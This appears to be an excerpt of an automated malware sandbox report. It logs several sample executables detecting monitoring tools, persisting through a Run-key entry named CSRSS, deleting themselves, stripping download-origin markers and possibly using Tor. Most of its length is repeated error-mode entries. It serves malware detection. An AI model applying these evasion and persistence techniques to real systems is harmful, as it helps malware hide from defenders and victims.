Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Window searched: window name: RegmonClass	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CSRSS			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CSRSS			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\nbhekikdcr.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\faischf:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\cwischf:Zone.Identifier read attributes \| delete			Jump to behavior

May use the Tor software to hide its network traffic

Source: 76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: onion-port

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D5C5.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-URL7K.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D5C5.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
